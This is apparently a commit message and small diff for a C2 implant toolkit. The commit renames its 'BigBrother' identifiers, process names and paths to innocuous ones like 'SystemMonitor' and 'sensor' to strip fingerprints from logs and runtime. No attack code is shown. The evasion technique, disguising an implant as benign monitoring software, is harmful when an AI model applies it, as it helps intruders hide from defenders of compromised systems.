Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime

modules/connectivity/__init__.py

@@ -1,4 +1,4 @@
-"""BigBrother connectivity modules — C2 and data transport layer."""
+"""SystemMonitor connectivity modules — C2 and data transport layer."""
 
 from modules.connectivity.wireguard import WireGuard
 from modules.connectivity.tailscale import Tailscale